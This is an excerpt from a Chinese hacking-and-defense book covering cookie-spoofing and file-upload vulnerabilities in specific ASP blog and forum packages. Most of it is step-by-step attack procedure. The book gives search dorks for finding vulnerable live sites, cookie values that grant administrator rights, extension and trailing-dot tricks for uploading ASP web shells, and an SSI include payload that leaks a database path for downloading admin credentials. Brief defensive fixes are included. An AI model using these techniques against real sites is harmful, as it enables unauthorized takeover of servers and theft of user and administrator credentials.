Set FSO=Server.CreateObject("Scripting.FileSystemObject")

FileIsExists=FSO.FileExists(Server.MapPath("attachments/"＆D_Name＆"/"＆F_Name))

Do

F_Name=Generator(4)＆"_"＆F_FileName

Loop Until FSO.FileExists(Server.MapPath("attachments/"＆D_Name＆"/"＆F_Name))=

False

Set FSO=Nothing

Else

F_Name=Generator(4)＆"_"＆Hour(Now())＆Minute(Now())＆Second(Now())＆"_"＆F_FileName

End If

由于上述代码对文件路径变量过滤不严，所以造成文件上传漏洞的存在。而在上传文件前需要进行验证，验证的具体实现代码如下：

Server.ScriptTimeOut=999

If(memName＜＞Empty And MemCanUP=1)Or(memStatus="SupAdmin"Or memStatus="Admin")Then

Dim UP_FileType, UP_FileSize

If memStatus="SupAdmin"Or memStatus="Admin"Then

UP_FileType=Adm_UP_FileType

UP_FileSize=Adm_UP_FileSize

Else

UP_FileType=Mem_UP_FileType

UP_FileSize=Mem_UP_FileSize

End If

从上述代码中可以看出上传文件前需要验证，而验证则主要通过"If memStatus="Sup Admin"Or memStatus="Admin"Then"代码实现，如图10-20所示。

图　10-20　对上传权限进行验证

上述代码的作用是验证"memStatus"的值是否为"SupAdmin"或"Admin"，如果是则可以上传文件。下面就需要了解"MemStatus"参数的来处。在Dreamweaver中打开该博客网站中的"commond.asp"文件，并在其中找到对用户"Cookie"进行验证的实现代码。

其具体内容如下：

IF memName＜＞Empty Then

Dim CheckCookie

Set CheckCookie=Server.CreateObject("ADODB.RecordSet")

SQL="SELECT mem_Name, mem_Password, mem_Status, mem_LastIP FROM blog_Member WHERE mem_Name=

'"＆memName＆"'AND mem_Password='"＆memPassword＆"'AND mem_Status='"＆memStatus＆"'"

CheckCookie.Open SQL, Conn,1,1

SQLQueryNums=SQLQueryNums+1

If CheckCookie.EOF AND CheckCookie.BOF Then

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

Else

If CheckCookie("mem_LastIP")＜＞Guest_IP Or isNull(CheckCookie("mem_LastIP"))Then

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

End If

End IF

CheckCookie.Close

Set CheckCookie=Nothing

Else

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

End IF

上述代码主要用于验证用户输入的用户名是否在数据库的管理员的表中。如果存在则将该用户的Cookies信息写入到memStatus和其他几个标识中。

而写入的这些标识信息又会被下面的代码所调用：

Dim memName, memPassword, memStatus

memName=CheckStr(Request.Cookies(CookieName)("memName"))

memPassword=CheckStr(Request.Cookies(CookieName)("memPassword"))

memStatus=CheckStr(Request.Cookies(CookieName)("memStatus"))

当成功调用后，就会将最终的结果传递给上传程序，再进行上传权限判断。从整个验证过程可知，上传用户权限信息全由Cookie提供，下面是验证用户名和密码的具体实现代码：

IF memName＜＞Empty AND Session("GuestIP")＜＞Guest_IP Then

Dim CheckCookie

Set CheckCookie=Server.CreateObject("ADODB.RecordSet")

SQL="SELECT mem_Name, mem_Password, mem_Status, mem_LastIP FROM blog_Member WHERE mem_Name=

'"＆memName＆"'AND mem_Password='"＆memPassword＆"'AND mem_Status='"＆memStatus＆"'"

CheckCookie.Open SQL, Conn,1,1

SQLQueryNums=SQLQueryNums+1

If CheckCookie.EOF AND CheckCookie.BOF Then

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

Else

If CheckCookie("mem_LastIP")＜＞Guest_IP Or isNull(CheckCookie("mem_LastIP"))Then

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

End If

End IF

CheckCookie.Close

Set CheckCookie=Nothing

Else

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

End IF

对用户和密码的判断流程是：如果用户Cookies信息中的memName值不为空，就从数据库验证用户名和密码，如果验证出错，则清空Cookies信息。上述验证程序并没有考虑memName为空的情况，如果memName为空，则Cookies信息是不被清空的。

由于文件上传页面只对memStatus进行验证，黑客手工将memStatus的值修改为"SupAdmin"或"Admin"就可以拥有上传权限了。

2.利用Cookies欺骗获得上传权限

在百度或Google搜索引擎中输入"Powered by L-Blog V1.08"，即可搜索到很多使用"L-Blog v1.08(SE)Build 0214"程序的网站，也可以自己搭建平台进行入侵检测。

具体的实现步骤如下。

步骤1　打开注册页面注册一个用户，这里注册的用户是"puma_xy"，其具体注册信息如图10-21所示。

图　10-21　注册一个用户

步骤2　运行"Cookies＆Injest"工具，在其地址栏中输入Blog网站的地址，单击【连接】按钮，即可在"Cookies"文本框中看到如下的Cookies信息，如图10-22所示。

loveyuki=memPassword=＆memStatus=＆memName=;style=null;ASPSESSIONIDQAAADQBR=KBAMHLIAMOA GGBAALFLMJHPD

其中包含了登录的用户名和密码等信息。可以对Cookies信息进行修改，欺骗Blog程序，使其认为登录用户的身份是管理员。

图　10-22　网站对应的Cookies信息

步骤3　单击工具栏中的【设置自定义的Cookies】按钮，即可对Cookies信息进行修改。将Cookies中的"memStatus=＆"修改为"memStatus=SupAdmin"或"memStatus=Admin"，如图10-23所示。

图　10-23　修改Cookies信息

步骤4　继续保持【设置自定义的Cookies】按钮处于按下状态，退出当前的用户登录，重新打开Blog首页，虽然此时没有登录，但已具有管理员的权限，如图10-24所示。

图　10-24　获得管理员权限

在获得管理员权限后，即可利用专门的漏洞上传工具将ASP木马上传到Blog服务器上。

3.防御措施

由于文件上传漏洞在网上非常泛滥，所以要采取一定的措施来防御黑客利用该类漏洞进行攻击。在Dreamweaver中打开Commond.asp文件，将"IF memName＜＞Empty AND Session("GuestIP")＜＞Guest_IP Then"修改为"IF(memName＜＞Empty OR memStatus＜＞Empty)AND Session("GuestIP")＜＞Guest_IP Then"这样，就可以同时检测memName和memStatus的值，要求这两个值必须同时为空或有值，以防止黑客伪造Cookies信息。

10.2.3　ClassID的欺骗入侵

"LvBBS 2. 2"是目前网上应用非常广泛的一个论坛系统，它同样也存在Cookies欺骗漏洞，使得黑客很容易就可以控制整个论坛系统。在该论坛程序的"Public_Cls.asp"文件中存在代码If MemberPass=Lcase(Session(CacheName＆"UserData"(1))or MemberName=Session(CacheName＆"UserData")(0))Then。

这句代码没有进行严格检查，从而导致黑客可以利用伪造的Cookies信息进行欺骗，以得到管理员的权限。下面将介绍如何通过修改ClassID值来实现欺骗。在LvBBS的网站中一般会包含“版本：LvBBS Ver2.2”字符，所以在百度或Google搜索引擎中输入版本：LvBBS Ver2.2”，即可搜索到很多使用该论坛程序的网站，也可自己搭建平台进行入侵检测。

具体的实现步骤如下：

步骤1　在LvBBS论坛中注册一个用户名登录，这里注册的用户名是puma_xy，密码为123456，其注册内容如图10-25所示。

图　10-25　注册新用户

步骤2　运行"Cookies＆Injest"工具，在其地址栏中输入该论坛的地址，单击【连接】按钮，即可在"Cookies"文本框中看到Cookies信息"localhost%2Flvbbs%2F=isHidden=0＆Class ID=4＆Password=49ba59abbe56e057＆UserName=puma%5Fxy＆UserID=2＆CookiesData=1＆Cooki eDate=1；ASPSESSIONIDQQDAQRTT=IKBFFCDBBKFNEJAGADMJBKAD"，如图10-26所示。在其中包含了当前登录的用户名和密码等信息，如果将其中"ClassID=4"修改为"ClassID=1"，就可以拥有管理员身份了。

图　10-26　Cookies信息

步骤3　在论坛中任意打开一篇帖子，即可看到该论坛中管理员的用户名，如图10-27所示。这里的用户名为wyd1520。单击工具栏中的【设置自定义的Cookies】按钮，即可对Cookies信息进行修改。将"ClassID=4"修改为"ClassID=1"。

图　10-27　查看论坛管理员

步骤4　退出当前的用户登录，重新打开Blog首页，此时即可看到“欢迎您的到来：wdy1520”提示信息，如图10-28所示。这表明已经以wdy1520管理员身份进行登录，即已经拥有管理员的权限。

图　10-28　以管理员身份登录

10.2.4　用户名的欺骗入侵

“动力文章3.51”是一个比较常见的文章系统，它为用户提供了收费管理查询文章的功能。由于Cookies中未对用户进行严格的过滤，所以造成Cookies欺骗漏洞，这样黑客可以站长的身份进行登录。利用该漏洞进行欺骗的具体操作步骤如下。

步骤1　打开注册页面，在其中新注册一个用户并登录，这里注册的用户名是ziyifengxi，密码为123456，其具体的注册信息如图10-29所示。

图　10-29　注册新用户

步骤2　运行"Cookies＆Injest"工具，在其地址栏中输入该论坛的地址，在登录区域中输入用户名和密码，并在"Cookie"下拉列表中选择“保存一年”选项，如图10-30所示。

图　10-30　选择"Cookie"保存时间

步骤3　输入完毕后单击【登录】按钮进行登录，此时在"Cookies"文本框中可看到如下的Cookies信息，其中包含当前登录的用户名和密码等信息，如图10-31所示。

www%2Easp163%2Enet=lao=5;www%2Easp163%2Enetecho=lao=True;iscookies=0;aspsky=usercooki es

=3＆userid=5＆userhidden=2＆password=49ba59abbe56e057＆userclass=%D0%C2%CA%D6%C9%CF%C2%B7＆user

name=ziyifengxi＆Times=2009%2D7%2D25+11%3A28%3A38;asp163=CookieDate=3＆Password=49ba59abbe56

e057＆UserLevel=999＆UserName=ziyifengxi;ASPSESSIONIDQQDAQRTT=OKBFFCDBLCGIHNAFJFBDFLAE

图　10-31　显示Cookies信息

步骤4　将"UserName=ziyifengxi"修改为"UserName=%B3%B5%D0%CC%EC%CF%C2"，如图10-32所示。其中"%B3%B5%D0%CC%EC%CF%C2"为“龙行天下”经过IE编码后生成的字符（这里假设站长的用户名为龙行天下）。

图　10-32　修改Cookies信息

步骤5　单击工具栏中的【刷新】按钮，即可以站长的身份进行登录，在其中可以查看各种免费文章而不用担心自己的点数不够问题。

10.3　Cookies欺骗的防范措施

由于Cookie的重要作用，如有些网站据此统计用户信息、可为用户实现个性化服务、可以加快浏览网页的速度等，但如果黑客破解了用户登录信息，就可以进行欺骗登录了，其危害程度极大。所以要对Cookies欺骗采取一定的防御措施，如删除计算机中的Cookie记录或者更改Cookie文件的存储位置。

1.删除Cookie记录

在一般情况下，黑客都是分析目标计算机中的Cookie文件来获得需要的信息，如E-mail地址、各种登录信息等。及时删除计算机中的Cookies信息可有效防御Cookies欺骗的发生。

具体的操作步骤如下。

步骤1　在IE浏览器中选择【工具】→【Internet选项】菜单项，即可打开【Internet选项】对话框，如图10-33所示。

图　10-33　【Internet选项】对话框

步骤2　单击【删除Cookies】按钮，即可看到【删除Cookies】提示框，如图10-34所示。单击【确定】按钮，即可删除本机中的Cookies文件。

图　10-34　【删除Cookies】提示框

步骤3　也可借助相应安全软件来实现删除Cookies文件，如360安全卫士、瑞星卡上网安全助手、Windows优化大师。这里以Windows优化大师为例，在Windows优化大师“系统清理”选项卡中勾选“Internet Explorer历史记录清理”复选框，并勾选其包含的各个子项，如图10-35所示。

图　10-35　勾选“Internet Explorer历史记录清理”复选框

步骤4　在设置完毕后，单击【扫描】按钮，即可扫描出本机中包含的Cookie文件，如图10-36所示。单击【全部删除】按钮，即可看到【是否要删除所有扫描到的历史记录】提示框，如图10-37所示。

图　10-36　扫描本机中所包含的Cookie文件

图　10-37　【是否要删除所有扫描到的历史记录】提示框

步骤5　单击【确定】按钮，即可删除所有扫描的历史记录。待删除完毕后，即可在【Windows优化大师】窗口底部看到“历史清理清理完毕”提示信息，如图10-38所示。

图　10-38　成功删除所有扫描到的历史痕迹

2.更改Cookies文件的保存位置

除了删除Cookies文件外，还可以更改Cookies文件的默认保存位置，以阻止黑客进行Cookies欺骗。其具体的操作步骤如下：

步骤1　在【Internet选项】对话框中单击【设置】按钮，即可打开【设置】对话框，如图10-39所示。

图　10-39　【设置】对话框

步骤2　在【设置】对话框中单击【移动文件夹】按钮，即可打开【浏览文件夹】对话框，如图10-40所示。

图　10-40　【浏览文件夹】对话框

步骤3　在其中设置相应保存位置后（如F:\），单击【确定】按钮，即可成功更改Cookie文件的保存位置。

10.4　专家点拨

点拨1：在IECookiesView中如何分辨哪些是可用的Cookies，哪些是不可用的Cookies？

解答：在【IECookiesView】主窗口的“主页”列表中任意单击某个网页，就可在显示区域中看到该站点Cookies的信息。如果显示一个绿色的对勾则该Cookies可用；如果是一个红色的叉，则表示该Cookies已经过期，无法使用。也可查看其过期时间，如果晚于当前时间则表明该Cookie文件可用，否则就不可用。

点拨2：面对Cookies欺骗攻击，一般都应该采取哪些措施？

解答：Cookies欺骗是一种发现较早，且较难使用的攻击手法，主要通过计算机中的Cookie文件进行。因此，删除计算机中的Cookie记录或更改Cookie文件的存储位置，是两种比较常见的防御Cookies欺骗攻击方法。

10.5　总结与经验积累

本章讲述了Cookies信息中的安全隐患、查看计算机中的Cookies信息、利用Cookies欺骗漏洞实现控制整个网站、Cookies欺骗的集中方式以及如何防御Cookies欺骗等内容，有助于读者对Cookies欺骗有一个比较深的了解，并学会如何利用Cookies欺骗漏洞实现Cookies欺骗。

由于当一个网站创建完成后，如果服务器与用户有大量的交互程序，而编程者又没有足够的安全意识，网站的漏洞就会很多，这直接影响着网站的安全。而像SQL注入攻击、对Cookies攻击等各种各样漏洞让网站程序面临着巨大的安全隐患。希望大家在今后的工作中，采取相应的措施来防御此类的攻击，从而保护网站安全。

第11章
网络上传漏洞的攻击与防范

重点提示

♂多余映射与上传攻击

♂点与Windows命名机制的漏洞

♂二次循环产生的漏洞

♂利用WSockExpert进行上传攻击

动网论坛的文件上传漏洞曾经非常流行，导致很多网站被入侵破坏。事实上文件上传漏洞是网站论坛中普遍存在的问题。除动网论坛外，还有很多网站系统都存在这样的漏洞。只有真正掌握上传漏洞的基本原理，才能更好地避免该类攻击的发生。

11.1　多余映射与上传攻击

在各种网站论坛以及博客程序中，用户需要上传各种图片、附件等，让用户拥有上传权限是必不可少的。如果对上传权限不严格限制，就会导致整个网站被黑客攻击。

11.1.1　文件上传漏洞的基本原理

网站的上传漏洞是由于对网页代码中的文件上传路径变量过滤不严造成的，在很多网站中都存在上传页面，如图11-1所示。

图　11-1　上传页面

但这类上传页面只是一个调用框架，将用户的文件参数提交给真正实现上传功能的程序文件，其代码如下：

＜form action="upfile.asp"……＞

＜input type="hidden"name="filepath"value="UploadFile"＞

＜input type="file"name="file"＞

＜input type="submit"name="Submit"value="上传"class="login_btn"＞

＜/form＞

其中"filepath"是文件上传路径，由于网页设计者没有对该变量进行任何的过滤，所以黑客可以任意修改该变量的值。在编程语言中有个特殊的截止符“\0”，该符号的作用是通知网站服务器中止后面的数据接收。

黑客可利用该截止符重新构造filepath，如正常的上传路径是"http://www.xxx.com/netop/upload/01.jpg"，但黑客可使用“\0”来构造filepath为"http://www.xxx.com.cn/netop.asp\0/01.jpg"，这样当服务器接收filepath数据时，检查到"netop.asp"后面的“\0”后，将会认为filepath数据到此就结束了，此时上传文件就被保存为http://www.xxx.com.cn/netop.asp。利用这个上传漏洞就可以上传ASP木马，再连接上传的网页，就可以控制整个网站系统了。

11.1.2　asp.dll映射的攻击

九酷网络个人主页空间管理系统是一个管理网站的系统，它提供了用户注册、网站管理、后台管理等功能。但该网站也存在着上传漏洞，经常被黑客所利用。在本节将介绍该网站如何进行asp.dll映射的攻击。

1.asp.dll攻击的实现过程

在很多网站中都用到“九酷网络个人主页空间管理系统v4.1免费版”，在百度搜索引擎输入"Powered By 9Cool"即可搜索到使用该系统的网站，或在本地搭建一个“九酷网络个人主页空间管理系统v4.1免费版”网站空间平台，进行攻击检测。具体的操作步骤如下。

步骤1　下载并运行“九酷网络个人主页空间管理系统v4.1免费版”，其主页如图11-2所示。单击【立即注册】超链接，即可打开注册页面，在其中注册一个新用户，其用户名为ziyifeng，密码为123456，如图11-3所示。

图　11-2　“九酷网络个人主页空间管理系统”主页

图　11-3　注册新用户

步骤2　注册完成后在主页的登录区域中输入用户名和密码后，单击【登录】按钮，即可进入【个人信息】窗口，如图11-4所示。单击左侧功能列表中的【管理网站】按钮，即可进入【网站管理】窗口，如图11-5所示。

图　11-4　【个人信息】窗口

图　11-5　【网站管理】窗口

步骤3　单击【上传文件】按钮，即可打开【上传文件】窗口，如图11-6所示。单击其中的【浏览】按钮，即可打开【选择文件】对话框，如图11-7所示。在其中选择需要上传的文件，这里选择的是admin.asp。

图　11-6　【上传文件】窗口

图　11-7　【选择文件】对话框

步骤4　在选择完毕后，单击【打开】按钮，即可在【上传文件】窗口中看到刚添加的文件，如图11-8所示。单击【开始上传】按钮，即可看到【发生错误】提示框，如图11-9所示。在其中可以看到返回的错误信息，提示非法的文件。

提示　如果再尝试上传aspx后缀的网页木马后门文件，同样显示类似的提示信息，说明该网站程序过滤了asp与aspx等文件格式的上传，在一定程度上保证了博客网站的安全性。

图　11-8　查看添加的文件

图　11-9　【发生错误】提示框

步骤5　为了成功上传网页文件，可以改变其文件扩展名（如.asa、.cer、.cdx），将准备上传的文件名改为"admin.asa"，如图11-10所示。修改完毕后，单击【开始上传】按钮即可看到【1个文件上传成功】提示信息，如图11-11所示。这表明“九酷网络个人主页空间管理系统v4.1免费版”程序没有对asa格式的文件进行过滤。

图　11-10　上传asa文件

图　11-11　【1个文件上传成功】提示信息

步骤6　单击【关闭】按钮，即可在【网站管理】窗口的上传文件列表中看到新上传的文件，如图11-12所示。单击该上传文件的链接，即可访问该上传文件，如图11-13所示。黑客们经常都是使用这种方法上传网页的后门文件的。

图　11-12　上传文件列表

图　11-13　访问刚上传的文件

2.asp.dll攻击可以实现的原因

九酷网络个人主页空间管理系统v4.1免费版程序之所以会出现这样的漏洞，其原因在于程序员只在该网站后台管理页面中设置“禁止”上传的文件类型，而不是选择“允许”上传的类型，这种设置很容易忽略一些比较危险的扩展名，如asa。

在九酷网络个人主页空间管理系统v4.1免费版程序后台管理页面中依次选择【系统管理】→【系统设置】菜单项，在“系统基本参数设置”栏中有个“禁止上传的文件类型”选项，其作用是设置禁止用户上传的文件类型，默认为"asp|php"，如图11-14所示。

图　11-14　禁止上传的文件类型

当管理员定义了上传文件禁止的类型后，文件类型将会被作为"filetype"变量保存在数据库的"config"表中，如图11-15所示。在Dreamweaver中打开控制文件上传的程序文件"upfile.asp"，在其中找到如下代码段，如图11-16所示。

iCount=0

for each formName in upload.objFile''列出所有上传了的文件

set file=upload.file(formName)''生成一个文件对象

types=lcase(mid(file.filename, InStrRev(file.filename,".")+1))

if filetype＜＞empty then

filtrate=split(filetype,"|")

for i=0 to ubound(filtrate)

if instr("|"＆types＆"","|"＆filtrate(i)＆"")＞0 then response.redirect"error.asp?error

=filetype"

next

end if

上述代码是通过截取用户上传文件名后缀，搜索对比数据库中"filetype"定义的文件类型，从而判断用户上传的文件是否为禁止的文件。即只要用户上传的文件类型不属于禁止类型，就可以上传成功。

图　11-15　数据库中保存的文件类型

图　11-16　控制文件上传的代码

3.asp.dll映射攻击的防御

管理员定义的上传文件类型是确保网站安全的前提条件。如果定义禁止上传的文件类型不周全，很有可能造成危险的后门程序被上传。因为危险的文件类型并不只有这两种，使用默认的"asp|php"远远不够，要防御asp.dll映射攻击则需在IIS中将这些应用程序删除。

具体的操作步骤如下。

步骤1　在【管理工具】窗口中单击【Internet信息服务】图标，即可打开【Internet信息服务】窗口，如图11-17所示。

图　11-17　【Internet信息服务】窗口

步骤2　右击【默认网站】图标，在弹出的快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图11-18所示。

图　11-18　【默认网站属性】对话框

步骤3　切换到“主目录”选项卡，单击【配置】按钮，即可打开网站的【应用程序配置】对话框，在其中可以看到网站默认映射列表，如图11-19所示。

图　11-19　【应用程序配置】对话框

注意　网站默认的程序映射有asa、asp、cer、cdx等，这几种类型的程序文件都被映射到"asp.dll"库文件上，按照asp程序方式执行。由此可知，在默认配置的IIS网站服务器中，asa、asp、cer、cdx等网页文件都被当做asp程序执行，所以将asp木马后门文件改名成asa、cer、cdx等后缀上传后，都可以正常执行。

由于IIS服务器默认执行的映射类型包括asa、asp、cer、cdx等，而“九酷网络个人主页空间管理系统v4.1免费版”程序仅仅禁止asp和php文件上传，才存在文件上传漏洞，因而才使黑客轻易地控制整个网站服务器。所以要把这些映射类型删除，以阻止黑客攻击。

步骤4　在“应用程序映射”列表中选中要删除的扩展名，如.asa，单击【删除】按钮，即可看到【确实要删除选定的脚本映射吗？】提示框，如图11-20所示。

图　11-20　【确实要删除选定的脚本映射吗？】提示框

步骤5　单击【是】按钮，即可删除选定脚本映射，采用同样方法，将其他脚本映射删除。

11.1.3　stm与shtm的映射攻击

在IIS服务器的应用程序映射列表中，除默认ASP.DLL库的映射外，还有几个不被人注意的映射，即stm、shtm以及shtml映射。由于“九酷网络个人主页空间管理系统v4.1免费版”程序仅仅禁止了asp和php文件的上传，所以黑客仍然可利用这3个映射进行攻击。

1.shtml映射库的基本原理

shtml（Server parsed HTML）是一种特殊的文件后缀名，与asp网页程序有些相似。可在shtml文件中写入SSI指令，而当客户端访问这些shtml文件时，即可执行文件中包含的SSI指令。SSI指令的基本格式如下：

＜!--指令名称="指令参数"＞

目前，shtml通过SSI指令可以实现如下几种功能：

显示服务器端环境变量＜#echo＞。

将文本内容直接插入到文档中＜#include＞。

显示WEB文档相关信息＜#flastmod#fsize＞（如文件制作日期/大小等）。

直接执行服务器上的各种程序＜#exec＞（如CGI或其他可执行程序）。

设置SSI信息显示格式＜#config＞（如文件制作日期/大小显示方式）。

上述第2个和第4个功能与网站的安全关系非常紧密，而这两个功能是通过＜#include＞和＜#exec＞两条SSI指令实现的。下面就介绍这两条SSI指令。

（1）＜#include＞指令。该指令的作用是将文本文件的内容直接插入到文档页面中，通常有＜!--#include file="文件名称"--＞和＜!--#include virtual="文件名称"--＞两种用法。

其中包含的参数的作用如下：

file：指定包含文件相对于本文档的位置。

virtual：指定相对于服务器文档根目录的位置。

如"＜!--#include file="..\config.asp"--＞"语句表示插入网站的数据库配置文件"config.asp"。由于数据库配置文件"config.asp"位于网站根目录下，所以使用相对路径"..\config.asp"。

（2）＜#exec＞指令。该指令的作用是将某一外部程序的输出插入到页面中。在＜#exec＞指令中可插入CGI程序或常规应用程序。所以该指令有＜!--#exec cmd="文件名称"--＞和＜!--#exec cgi="文件名称"--＞两种用法。

其中各个参数的作用如下：

cmd：插入常规应用程序。

cgi：插入CGI脚本程序。

如"＜!--#exec cmd="dir/b"--＞"语句表示显示当前目录下文件列表；而执行"＜!--#exec cmd="cgi-bin/gb.cgi"--＞"，则会执行cgi程序文件"gb.cgi"。由于在默认配置的IIS服务器中是禁用＜#exec＞指令的，在执行该指令时会返回“#EXEC呼叫的CMD选项未启动”提示信息，如图11-21所示。但可通过其他方法来修改SSIExecDisable元数据库来启动该指令。

图　11-21　“#EXEC呼叫的CMD选项未启动”提示信息

具体的操作步骤如下：

步骤1　选择【开始】→【选择】菜单项，即可打开【运行】对话框，在“打开”文本框中输入"regedit"命令，如图11-22所示。

图　11-22　【运行】对话框

步骤2　单击【确定】按钮，即可打开【注册表编辑器】窗口。依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters分支，如图11-23所示。

图　11-23　【注册表编辑器】窗口

步骤3　在该项目下选择新建一个DWord值，名称为"SSIEnableCmdDirective"，在【编辑DWORD值】对话框中将其值设置为“1”，如图11-24所示。

图　11-24　【编辑DWORD值】对话框

步骤4　设置完毕后，单击【确定】按钮，即可重新启动IIS并在SSI＜#exec＞指令中执行cmd命令与外壳命令。

注意　其中"SSIEnableCmdDirective"是IIS服务器端的＜#exec＞指令。在默认状态下，注册表中不存在该值。如果要允许＜#exec＞指令执行cmd与外壳命令，必须先创建该值并将值设置为“1”。同样如果想关闭＜#exec＞命令，可将该键的值设置为0。

2.上传暴库

由于九酷网络个人主页空间管理系统v4.1免费版程序存在漏洞，黑客也可上传另类暴库对其数据库进行攻击，以获得超级管理员账户和密码。具体操作步骤如下。

步骤1　在记事本中输入代码"＜!--#include file="..\config.asp"--＞"之后，将文件保存为"config.shtm"网页文件，如图11-25所示。

图　11-25　在记事本中编写shtm文件

步骤2　在九酷网络个人主页空间管理系统v4.1免费版程序的【上传文件】窗口中，单击【浏览】按钮选择config.shtm文件，如图11-26所示。

图　11-26　选择需要上传的shtm文件

步骤3　单击【开始上传】按钮即可开始上传，如果成功上传，则会看到【1个文件上传成功】提示信息，如图11-27所示。在【管理网站】窗口的“上传列表”中单击刚上传文件的链接，即可在IE浏览器中预览该文件，如图11-28所示。此时看到的页面是一片空白。

图　11-27　【1个文件上传成功】提示框

图　11-28　在IE浏览器中浏览shtm文件

步骤4　如果想查看该页面的源代码，则选择【查看】→【源文件】菜单项，即可以记事本方式打开网页的源代码，如图11-29所示。并在其中找到如下代码：

dim conn, connstr, db

db="data/#ce753c9d8d5f120a.asp"'数据库文件位置

on error resume next

不难看出：上述代码是数据库连接文件的代码，其中的"data/#ce753c9d8d5f120a.asp"就是数据库路径。

图　11-29　查看源代码

步骤5　可推断出该网站的数据库链接地址为"http://localhost/11/data/#ce753c9d8d5f120a.asp"，但由于数据库文件名中有一个“#”号，直接访问是不行的，所以需要转换成Unicode编码“%23”。因此，在浏览器中访问"http://localhost/11/data/%23ce753c9d8d5f120a.asp"链接，则显示了asp数据库中的内容，如图11-30所示。

图　11-30　显示的数据库内容

使用迅雷或其他下载工具，即可将数据库下载到本地。获得数据库后，即可获得其中的管理员账户和密码，甚至可以控制整个网站服务器。可以采用防御asp.dll映射攻击的方法在IIS中将stm、shtm以及shtml映射删除以防御黑客入侵。

11.2　点与Windows命名机制的漏洞

在九酷网络个人主页空间管理系统v4.1免费版程序中，由于程序员的程序逻辑错误，将会导致其他上传漏洞存在，如空格、点、Windows命名机制等漏洞。

11.2.1　Windows命名机制与程序漏洞

在九酷网络个人主页空间管理系统v4.1免费版程序的个人网站管理页面中，选择上传一个asp后门文件。在上传前不修改后门文件名后缀，直接选择asp后门文件，如"loginout.asp"，在上传文件框中修改一个已指定的文件名，将loginout.asp修改为"login-out.asp."，如图11-31所示。需要注意后面多加了一个点，文件后缀名是".asp."而不是".asp"，单击【开始上传】按钮，即可看到【文件上传成功】提示信息，如图11-32所示。

图　11-31　为ASP后缀添加点

图　11-32　【文件上传成功】提示信息

在ASP文件后门加上一个点后，asp文件可成功上传，其原因在于Windows的命名机制。在Dreamweaver中打开一个html文件，如图11-33所示。选择【文件】→【另存为】菜单项，即可打开【另存为】对话框，如图11-34所示。

图　11-33　在Dreamweaver中打开html文件

图　11-34　【另存为】对话框

在“文件名”文本框中输入"1.asp.."后，单击【保存】按钮，即可将html文件保存为html文件，此时打开Windows资源管理器，可以看到文件名为1.asp，而不显示后面的两个点，如图11-35所示。由此可知，修改文件名后缀，在后面添加点后，因为Windows文件命名原则会自动去掉后面的点，可以保存的就是asp格式。

图　11-35　在Windows资源管理器中查看文件名

打开九酷网络个人主页空间管理系统v4.1免费版程序中文件上传程序upfile.asp，并在其中找到如下代码：

for i=0 to ubound(filtrate)

if instr("|"＆types＆"","|"＆filtrate(i)＆"")＞0 then response.redirect"error.asp?error=

filetype"

next

上面代码的作用是获得用户输入的文件名后缀，将其与"filtrate"变量中定义的值相比较，如果相同的话则提示禁止上传类型。其中"filtrate"变量中定义的值为"asp/php/stm/shtml/sthm/asa/cer/cdx"等，因此，直接上传一个.asp后缀的文件是肯定会出错的。“加点”和加“空格”上传流程如图11-36所示。

图　11-36　加点或空格上传流程

在".asp"文件名后缀后添加了一个点时，文件名后缀就变成了".asp."，这样".asp."就不等于filtrate变量中定义的"asp/php/stm/shtml/sthm/asa/cer/cdx"任意一个值，所以".asp."文件可以成功上传。这样就绕过了九酷网络个人主页空间管理系统v4.1免费版程序的文件上传过滤限制。

当文件上传到服务器上并被保存时，根据Windows文件命名原则，会自动去除后面的点，于是上传的".asp."后缀文件又被去掉后面的点，还原保存为asp格式文件了，这就是“加点”上传漏洞的根本原理。同样在文件后缀名后面添加空格，也可以实现上传，这样的漏洞是“空格上传”漏洞。

11.2.2　变换文件名产生的漏洞

除添加点和空格外，黑客还可以做各种变换，以逃脱网站程序的过滤。在程序未对文件名的大小写进行控制的情况下，可以将文件后缀名改为.ASP、.Asp、.asa、.Asa等。上传的文件修改后缀的大小写后并不影响文件的类型，这样上传的木马后门可以正常执行。

下面以SLBlog（思玲blog）为例来介绍变换文件名产生的上传漏洞。

1.sNoAllowExt禁止文件类型不全面

SLBlog（思玲blog）是国内的第三大博客用户程序，其更新速度很快。但是该博客程序的SLBlog v2.0 Build 050603版本中存在一个致命的上传漏洞，其版本信息如图11-37所示。其存在的原因也是对用户上传文件名过滤不严，结合Windows命名机制所产生的。

图　11-37　 SLBlog v2.0　Build 050603

（1）打开SLBlog程序中的SLeditor文件夹下的上传文件Upload.asp，并找到如下的代码，如图11-38所示。

＜form action="?act=save＆sType=＜%=sType%＞＆TBlogID=＜%=TBlogID%＞＆sClass=＜%=sClass%＞"

method="post"name="sform"enctype="multipart/form-data"＞

＜input type=file name=uploadfile size=1 style="width:100%"＞

＜/form＞

上面是上传文本框提交给了"Save"保存过程，并且需要sType（文件的类型）、TBlogID和sClass（上传文件分类）3个提交参数。

（2）在该文件找到定义上面3个提交参数的语句。具体内容如下：

Dim upfile, ServerPath, FSPath, formName, oFile

Dim sSaveFileName, sSourceFileName, sSaveFilePath

sSaveFilePath="../"＆trim(Application(cachename＆"info")(30))'指定到上传存放文件的根目录

Dim sType, sClass, sNoAllowExt, sAllowExt, sNoAllowSize

Dim themax, sBlogPath

sClass=Trim(Request.Querystring("sClass"))

sType=Trim(Request.Querystring("sType"))

TBlogID=Trim(Request.Querystring("TBlogID"))

